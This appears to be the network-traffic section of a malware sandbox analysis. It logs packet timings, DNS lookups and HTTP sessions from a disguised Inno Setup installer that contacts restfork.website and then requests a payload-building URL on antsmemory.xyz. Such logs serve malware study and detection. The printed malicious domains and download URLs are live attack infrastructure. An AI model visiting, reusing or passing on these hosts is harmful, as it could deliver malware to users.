Jan 21, 2024 17:12:01.442656994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442668915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442681074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442687035 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442713022 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442722082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442734957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442745924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442759037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442760944 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442773104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442785025 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442811966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.443439007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443557978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443572044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443583965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443598032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443602085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.443612099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443614006 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.443625927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443639040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.443645954 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.443681955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444035053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444051981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444066048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444080114 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444087982 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444092989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444123983 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444156885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444169998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444181919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444195986 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444200039 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444210052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444224119 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444231033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444246054 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444252014 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444259882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444272995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.444287062 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.444307089 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.445211887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445434093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445449114 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445461035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445475101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445487976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445491076 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.445502043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445517063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445528984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445537090 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.445540905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445555925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445564032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445566893 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.445573092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445586920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.445650101 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.445689917 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446114063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446198940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446213007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446224928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446238995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446252108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446254015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446288109 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446315050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446320057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446333885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446346045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446361065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446372032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446376085 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446389914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446403980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446409941 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446418047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446434975 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446461916 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446928024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446942091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446954012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446966887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446983099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.446984053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.446996927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.447010040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.447012901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.447024107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.447038889 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.447067976 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448044062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448056936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448069096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448081970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448096037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448098898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448108912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448122025 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448122978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448137999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448151112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448163986 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448172092 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448178053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448191881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448205948 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448208094 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448220015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448235989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448261023 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448719978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448734045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448796034 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.448934078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448946953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448960066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448971987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448983908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448991060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.448997974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449004889 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449009895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449023962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449038029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449047089 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449052095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449065924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449073076 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449095964 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449121952 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449651957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449666977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449678898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449717999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449826002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449839115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449851990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449863911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449873924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449877977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449898958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449901104 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449915886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449929953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449944973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449945927 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.449958086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449971914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.449975014 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450001001 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450025082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450483084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450627089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450640917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450654984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450669050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450675964 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450684071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450697899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450711012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.450714111 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450742960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.450767040 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451401949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451561928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451576948 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451589108 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451601982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451611042 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451616049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451631069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451633930 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451644897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451659918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451673985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451673985 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451689005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451699972 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451703072 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.451724052 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.451747894 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.557904005 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:12:01.676124096 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:12:02.549093962 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:12:02.593560934 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:12:05.436424971 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.436507940 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:05.436594009 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.449372053 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.449403048 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:05.714039087 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:05.714246988 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.896028996 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.896102905 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:05.897178888 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:05.897330999 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.902018070 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:05.945935965 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.068177938 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.068275928 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.068331003 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.068366051 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.068391085 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.068419933 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.074671030 CET	49701	443	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.074723005 CET	443	49701	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.620099068 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.738146067 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.738270998 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.738539934 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:06.856501102 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.922519922 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:06.922610044 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.258977890 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.376945972 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:08.406277895 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:08.406342030 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.428599119 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.581409931 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:08.581465006 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.713726997 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.859426022 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:08.859522104 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:08.878515959 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.031697035 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.031750917 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.044698954 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.192486048 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.192569971 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.213731050 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.367445946 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.367537022 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.386756897 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.535384893 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.535438061 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.556343079 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.715979099 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.716159105 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.727938890 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.875982046 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:09.876202106 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:09.894073963 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:10.048126936 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:10.048424959 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:10.060839891 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:12:10.208062887 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:12:10.208138943 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:13:46.453730106 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:13:46.453969955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:13:46.572596073 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:13:46.572663069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:13:46.573024988 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:13:46.573151112 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:13:55.814349890 CET	49702	80	192.168.2.6	172.67.219.140
Jan 21, 2024 17:13:55.933351040 CET	80	49702	172.67.219.140	192.168.2.6
Jan 21, 2024 17:13:55.933448076 CET	49702	80	192.168.2.6	172.67.219.140

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 17:11:56.479813099 CET	54976	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:11:56.631766081 CET	53	54976	1.1.1.1	192.168.2.6
Jan 21, 2024 17:11:57.494868994 CET	62954	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:11:57.646758080 CET	53	62954	1.1.1.1	192.168.2.6
Jan 21, 2024 17:12:05.304311037 CET	49422	53	192.168.2.6	1.1.1.1
Jan 21, 2024 17:12:05.425451994 CET	53	49422	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 21, 2024 17:11:56.479813099 CET	192.168.2.6	1.1.1.1	0x2833	Standard query (0)	restfork.website	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:11:57.494868994 CET	192.168.2.6	1.1.1.1	0x92eb	Standard query (0)	antsmemory.xyz	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:12:05.304311037 CET	192.168.2.6	1.1.1.1	0x673f	Standard query (0)	beadhouse.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 21, 2024 17:11:56.631766081 CET	1.1.1.1	192.168.2.6	0x2833	No error (0)	restfork.website	172.67.206.124	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:11:56.631766081 CET	1.1.1.1	192.168.2.6	0x2833	No error (0)	restfork.website	104.21.61.51	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:11:57.646758080 CET	1.1.1.1	192.168.2.6	0x92eb	No error (0)	antsmemory.xyz	104.21.23.90	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:11:57.646758080 CET	1.1.1.1	192.168.2.6	0x92eb	No error (0)	antsmemory.xyz	172.67.210.35	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:12:05.425451994 CET	1.1.1.1	192.168.2.6	0x673f	No error (0)	beadhouse.xyz	172.67.219.140	A (IP address)	IN (0x0001)	false
Jan 21, 2024 17:12:05.425451994 CET	1.1.1.1	192.168.2.6	0x673f	No error (0)	beadhouse.xyz	104.21.38.59	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beadhouse.xyz

restfork.website

antsmemory.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	172.67.206.124	80	3700	C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:11:56.761858940 CET	205	OUT	GET /bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ==&sub=&ps=65786d51bb7ab HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 17:11:57.382736921 CET	859	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:11:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 149 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7wURHZE5p40b4i4LBfv9ohq9tqCUqvx8E%2BXsxg5kVQeOiTmUdwXX0SbeProyIt38yzGntEZu69FiP3pl26MgpDjSuzyr3%2B7tLNmuWCkj378nun1uP8Ok3796UwMQGq55OIR%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d6001c1106ee-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 61 6e 74 73 6d 65 6d 6f 72 79 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 2e 70 68 70 3f 70 65 3d 31 26 73 75 62 3d 26 73 6f 75 72 63 65 3d 33 39 38 34 26 73 31 3d 34 37 39 36 31 35 34 38 26 74 69 74 6c 65 3d 56 32 6c 30 59 32 67 67 53 58 51 67 52 6e 4a 6c 5a 53 42 45 62 33 64 75 62 47 39 68 5a 43 42 32 4d 54 49 32 49 43 41 67 54 32 35 73 61 57 35 6c 4c 6d 56 34 5a 51 25 33 44 25 33 44 26 74 69 3d 31 37 30 35 38 35 33 35 31 37 Data Ascii: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517
Jan 21, 2024 17:12:01.557904005 CET	103	OUT	GET /boa.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 17:12:02.549093962 CET	597	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:02 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mNuXur%2F1dgrUwEznSflfynoLR3CAdcWUforpt9J03d%2FBxtym0AjoJcPstHKwiiOPmZAVsf6idFU9CaxcHcYXjfVwurZKnSQHmMlSEYa1yj5qf2P0qT%2Bg6rfQmKCNjmkHNAS1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d61e195806ee-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	104.21.23.90	80	3700	C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:11:57.766993046 CET	221	OUT	GET /pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: antsmemory.xyz
